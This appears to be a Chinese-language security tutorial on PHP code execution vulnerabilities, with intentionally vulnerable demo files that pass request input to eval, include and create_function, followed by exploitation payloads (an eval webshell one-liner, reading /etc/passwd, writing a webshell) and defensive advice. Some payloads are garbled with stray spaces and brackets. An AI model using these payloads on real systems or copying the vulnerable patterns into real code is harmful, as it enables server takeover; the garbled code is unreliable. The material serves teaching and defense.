目錄
代碼執行漏洞
1.代碼執行函數
2.檔案包含代碼注入
3.正規表達式代碼注入
4.動态代碼執行
5.其他
PHP函數處理: php官方文檔
代碼執行漏洞利用
代碼執行漏洞的防禦
代碼執行漏洞
應用程式在調用一些能夠将字元串轉換為代碼的函數(例如php中的eval中),沒有考慮使用者是否控制這個字元串,将造成代碼執行漏洞。
PHP:eval assert
Python: exec
asp:<%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>
Java:沒有類似函數,但采用的反射機制和各種基于反射機制的表達式引擎(OGNL、SpEL、 MVEL等)有類似功能
指令執行漏洞危害:
執行代碼=>寫入webshell=>拿到伺服器權限
1.代碼執行函數
php中可以執行代碼的函數有:
- eval() eval('phpinfo();)參數為字元串,且滿足php代碼格式 或者eval(${phpinfo()}),php在執行過程中,會優先執行花括号裡邊的代碼
- assert() assert(phpinfo())參數為表達式或者函數
- system()執行系統指令
- exec()
- shell_ exec()
- passthru()
- pcntl_ exec()
這些函數中的參數(部分)可控時,則可能指令注入漏洞。通常會使用escapeshellarg對參數進行處理。https://www.php.net/manual/zh/function.escapeshellarg.php
demo1.php
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>
demo2.php
<?php
$data = $_GET['data'];
eval("\$ret = strtolower('$data');");
echo $ret;
?>
demo3.php
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
?>
2.檔案包含代碼注入
當檔案包含函數(include、 include_ once、require、 require_ once)中包含輸入變量時,可能導緻代碼注射。
條件: allow. _url include=On,PHP Version>=5.2.0
demo4.php
<?php include($_GET['data']); ?>
通路: http://127.0.0.1/demo4.php?a=data:text/plain,<?php phpinfo();?>可執行php指令
3.正規表達式代碼注入
原理:
preg. replace()函數:
當pattern中存在/e模式修飾符,比對上時,即允許執行replacement中的指令。
preg. replace ($pattern,$replacement,$subject, $limit, $count)
搜尋subject中比對pattern的部分,以replacement進行替換。
參數說明:
$pattern:要搜尋的模式,可以是字元串或一個字元串數組。
$replacement:用于替換的字元串或字元串數組。
$subject:要搜尋替換的目标字元串或字元串數組。
$limit: 可選,對于每個模式用于每個subject字元串的最大可替換次數。預設是-1 (無限制)。
$count:可選,為替換執行的次數。
demo5.php
4.動态代碼執行
1.動态變量代碼執行
demo6.php
<?php
$dyn_func = $_GET['dyn_func']; //echo
$argument = $_GET['argument']; //hello world
$dyn_func($argument); //echo "hello world"
?>
2.動态函數代碼執行
demo7.php
<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func($argument);
?>
5.其他
Array. map()将函數作用到數組中的每個值上。
demo8.php
<?php
function myfunction($v)
{
return($v*$v);
}
$a = array(1,2,3,4,5);
print_r(array_map("myfunction", $a));
?>
//輸出
Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 )
PHP函數處理: php官方文檔
代碼執行漏洞利用
常見操作:
如果代碼控制點在參數id處。則可以使用以下的payload進行利用:
一句話
http://www.xxx.com/test.php?id={${@eval($_ POST[aa])}}
得到目前路徑
http://www.xxx.com/test.php?id={${print(getcwd))}}
讀檔案
http://www.xxx.com/test.php?id={${exit(var_ dump(file_ get contents($_ POST]'1)))}}
POST的資料為: f=/etc/passwd
寫入Webshell
http://wwwxx.com/test.php?id={${exit(var_ dump(file_ put contents($ POST[f],$_ POSTJ))}}
POST的資料為: f=1.php&d= <?php @eval($_ POST['aa'])?>
代碼執行漏洞的防禦
- 使用json儲存數組,當讀取時就不需要使用eval
- 對于必須使用eval的地方,一定嚴格處理使用者資料
- 字元串使用單引号包括可控代碼,插入前使用addslashes轉義
- 放棄使用preg_ replace的e修 飾符,使用preg_ replace_ callback()替 換
- 若必須使用preg_ _replace的e修飾符,則必用單引号包裹正則比對出的對象